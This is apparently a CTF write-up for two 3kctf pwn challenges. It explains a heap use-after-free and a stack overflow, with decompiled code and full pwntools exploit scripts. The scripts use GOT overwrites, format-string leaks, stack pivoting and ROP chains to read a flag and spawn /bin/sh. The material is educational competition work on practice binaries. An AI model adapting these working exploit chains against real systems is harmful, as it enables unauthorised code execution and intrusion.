# 3kctf pwn challenges.
I played 3kctf with team `from Sousse, with love` we ranked 5th on the final scoreboard. I solved two challenges.
#### Challenge name `faker`
```
description
faker - 497pts
6 solves
nc faker.3k.ctf.to 5231
link
Note: Ubuntu GLIBC 2.27-3ubuntu1.2
Author: KERRO, Aracna
Hints
1. flag file: flag
```
This was a simple heap challenge which uses `calloc` to allocate chunk, There was a usual `use after free bug`. The challenge used seccomp and execve was not allowed.`ORW` was the way out.
TL;DR
`
-> Allocate chunk size 0x70, free the chunk, Use UAF bug to change the fd pointer near stderr pointer on bss, 0x7f size passes the check, allocate fake chunk, this allows us to overwrite the pointers(notes), and edit them. Change note1 to free[got], edit note1 will overwrite the got since it was partial relro, Change free to printf, so when we try to free the chunk, it calls printf, leak libc leak stack , edit the note-2 which is still pointer right under stderr, this allows us overwrite the note1 again. change note 1 to stack returnaddress, using edit construct rop chain there.
`
#### new page
New page function just asks for the size and alloctes the chunk with malloc
```cmake=
00400c33 uint64_t rax_1
00400c33 if (*number_pages s> 4)
00400c3f rax_1 = puts(data_4011d8) {"Too much pages it will be really…"}
00400c50 else
00400c50 puts(data_401200) {"Provide page size:"}
00400c66 void var_15
00400c66 read(0, &var_15, 4)
00400c72 rax_1 = atoi(&var_15)
00400c77 int32_t var_10_1 = rax_1:0.d
00400c7a if (var_10_1 s< 0 || (var_10_1 s>= 0 && var_10_1 s> 0x70))
00400d5a rax_1 = puts(data_401231) {"Bad size kiddo..."}
00400c7a if (var_10_1 s>= 0 && var_10_1 s<= 0x70)
00400d4b for (int32_t var_c_1 = 0; var_c_1 s<= 4; var_c_1 = var_c_1 + 1)
00400c9f int64_t rdx_1 = sx.q(var_c_1) << 2
00400cae rax_1 = zx.q(*(rdx_1 + check_pages))
00400ce2 if (rax_1:0.d == 0)
00400ce2 *((sx.q(var_c_1) << 3) + pages) = calloc(1, sx.q(var_10_1), rdx_1)
00400cfa *((sx.q(var_c_1) << 2) + check_pages) = 1
00400d06 int64_t rcx_2 = sx.q(var_c_1) << 2
00400d15 uint64_t rdx_4 = zx.q(var_10_1)
00400d18 *(rcx_2 + page_size) = rdx_4:0.d
00400d2c printf(data_401213, zx.q(var_c_1), rdx_4, rcx_2) {"You got new page at index %d\n"}
00400d37 rax_1 = zx.q(*number_pages + 1)
00400d3a *number_pages = rax_1:0.d
00400d41 break
00400d61 return rax_1
```
#### edit
The bug is in edit function which doesn't check if the note was freed. This gives UAF.
```cmake=
00400d71 puts(data_401243) {"Provide page index:"}
00400d87 void var_11
00400d87 read(0, &var_11, 4)
00400d98 int32_t var_c = atoi(&var_11):0.d
00400d9b int64_t rax_3
00400d9b if (var_c s< 0 || (var_c s>= 0 && var_c s> 4))
00400e18 rax_3 = puts(data_401271) {"Wrong index kiddo..."}
00400d9b if (var_c s>= 0 && var_c s<= 4)
00400dbb rax_3 = *((sx.q(var_c) << 3) + pages)
00400dbf if (rax_3 != 0)
00400dcb puts(data_401257) {"Provide new page content:"}
00400def int64_t rcx_1 = sx.q(var_c) << 3
00400e0a rax_3 = read(0, *(rcx_1 + pages), sx.q(*((sx.q(var_c) << 2) + page_size)), rcx_1)
00400e1e return rax_3
```
#### empty page
this function takes idx and deletes the note.
It initializes check_pages(global_variable) to zero.
But edit function doesn't checks for it .)
```cmake=
00400e2e puts(data_401243) {"Provide page index:"}
00400e44 void var_11
00400e44 read(0, &var_11, 4)
00400e55 int32_t var_c = atoi(&var_11):0.d
00400e58 uint64_t rax_4
00400e58 if (var_c s< 0 || (var_c s>= 0 && var_c s> 4))
00400ee0 rax_4 = puts(data_401271) {"Wrong index kiddo..."}
00400e58 if (var_c s>= 0 && var_c s<= 4)
00400e7b if (*((sx.q(var_c) << 2) + check_pages) != 0)
00400ea8 free(*((sx.q(var_c) << 3) + pages))
00400ec1 *((sx.q(var_c) << 2) + check_pages) = 0
00400ece rax_4 = zx.q(*number_pages - 1)
00400ed1 *number_pages = rax_4:0.d
00400e86 else
00400e86 rax_4 = puts(data_401286) {"Empty already..."}
00400ee7 return rax_4
```
Using the bug we I changed the fd of fastbin to pointer under `stderr pointer on bss` and control the program execution flow. To leak libc i changed free[got] to printf. And keep %p into the data of that chunk. This leaks the libc and stack addresses
Here is my full exploit.
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host linker.3k.ctf.to --port 9654 ./linker
from pwn import *
from formatstring import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./faker')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'faker.3k.ctf.to'
port = int(args.PORT or 5231)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x400D6C
c
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
name_size = 0x0602148
io = start()
def new(size):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('page size:\n')
io.sendline(str(size))
def edit(idx, data):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('index:\n')
io.sendline(str(idx))
io.recvuntil('content:\n')
io.send(data)
def delete(idx):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('index:\n')
io.sendline(str(idx))
pop_rdx_rsi = 0x00130889
pop_rsp = 0x0019a6c2
pop_rdi = 0x0016619e
pop_rax = 0x0010fedc
pop_r10 = 0x00130865
sys_ret = 0x0010fbc5
io.recvuntil('name size:\n')
size = 8
io.sendline(str(size))
io.recvuntil('name:\n')
io.send(p64(0x7f))
new(0x68)
edit(0, 'A'*0x68)
delete(0)
edit(0, p64(0x6020bd))
new(0x68)
new(0x68)
edit(1, b'%p.' + b'%p'*20 +p64(0x6161616161616161)*5 + p64(exe.got['free']))
edit(0, p64(exe.sym.printf + 6))
delete(1)
io.recvuntil('0x100400b0a')
stack = int(io.recvn(14), 0)
io.recvuntil('0x4010c0')
libc.address = int(io.recvn(14), 0) -(0x7fd6e70a8b97 - 0x7fd6e7087000)
log.info('stack {}'.format(hex(stack)))
log.info('Libc leak {}'.format(hex(libc.address)))
edit(1, b'%p.' + b'\x01'*0x38+b'/home/ctf/flag\x00\x00'+p64(0x6161616161616161)*1 +p64(stack+8))
rop = flat([
libc.address +pop_rdx_rsi,
0x0,
0x602108,
libc.address+pop_r10,
0x0,
libc.address+pop_rax,
257,
libc.address+sys_ret,
libc.address+pop_rdi,
0x6,
libc.address+pop_rdx_rsi,
0x100,
0x602108,
libc.address+pop_rax,
0x0,
libc.address+sys_ret,
libc.address+pop_rdi,
0x602108,
libc.sym.puts
])
test = flat([
libc.address+pop_rdi,
0x602108,
libc.sym.puts,
0x400EE8
])
edit(0, rop)
io.recvuntil('> ')
pause()
io.sendline('5')
io.interactive()
```
### one and a half man - 493pts
Challenge description.
```
## one and a half man - 493pts
15 solves
nc one-and-a-half-man.3k.ctf.to 8521
link
Note: Ubuntu GLIBC 2.27-3ubuntu1.2
Author: KERRO, Aracna
```
This was a fairly another simple pwnable challenge.
The code is so small.
```cpp=
int main(){
setvbuf(stderr, 0,2,0);
setvbuf(stdout, 0,2,0);
vuln();
return 0;
}
```
```cpp=
void vuln() {
char buff[10];
read(0, buff, 0xaa);
}
```
There is a simple buffer overflow.
```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
No Pie and Partial Relro :face_vomiting:
###### exploit
```
There is a syscall resides inside read.
So change read got last byte to make it point at syscall. And then Just control registers,
and some advanced ROP stuff, there isn't enough space for whole ROP chain so
first pivot the stack to bss.
Read another ROP chain there and continue from there.
Ret2csu to control the RDX register.
To set RAX = 0x3b
I make a read syscall and send exact 0x3b number of bytes. and do 'execve' -> binsh
```
#### Here is the whole exploit.
```python=
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host challenges.ctfd.io --port 30096 ./bof
from pwn import *
#import roputils as we
# Set up pwntools for the correct architecture
elf = context.binary = ELF('./one_and_a_half_man')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'one-and-a-half-man.3k.ctf.to'
port = int(args.PORT or 8521)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x4005DC
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
bss = 0x601068
leave_r = 0x004005db #: leave ; ret ;
pop_rdi = 0x00400693 #: pop rdi ; ret ;
pop_rsi = 0x00400691 #: pop rsi ; pop r15 ; ret ;
mov_r14 = 0x00400670
add_rbp = 0x00401108
pop_r45 = 0x00400690 #: pop r14 ; pop r15 ; ret ;
csu = 0x040068A
init = 0x600e38
ret = 0x0040062d
rop1 = flat([
'A'*10,bss,
pop_rsi, bss+8, 0x0,
elf.sym.read, leave_r
])
io.send(rop1)
pause()
rop2 = flat([
csu, 0x0, 0x1, init, 0x0, 0x0,0x1000, mov_r14, 0x0,0x0,bss,0x0,0x0,0x0,0x0,
pop_rsi, bss+0x98,0,
elf.sym.read,leave_r
])
io.send(rop2)
r2 = flat([
'/bin/sh\x00',
pop_rsi, elf.got['read'], 0x0,
elf.sym.read,
csu, 0x0, 0x1, init, 0x0,0x0, (bss + 0x300), mov_r14, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
pop_rsi, (bss + 0x300), 0x0,
elf.sym.read,
pop_rdi, bss+0x98,
pop_rsi, (bss + 0x308), 0x0,
elf.sym.read
])
pause()
io.send(r2)
pause()
print('NOW')
io.send('\x8f')
pause()
io.send(p64(0x0) + p64(bss + 0x310) + '\x00'*43)
io.interactive()
```
#### Second blood.
Both exploit scripts at https://github.com/hkraw/ctf_/tree/master/3kctf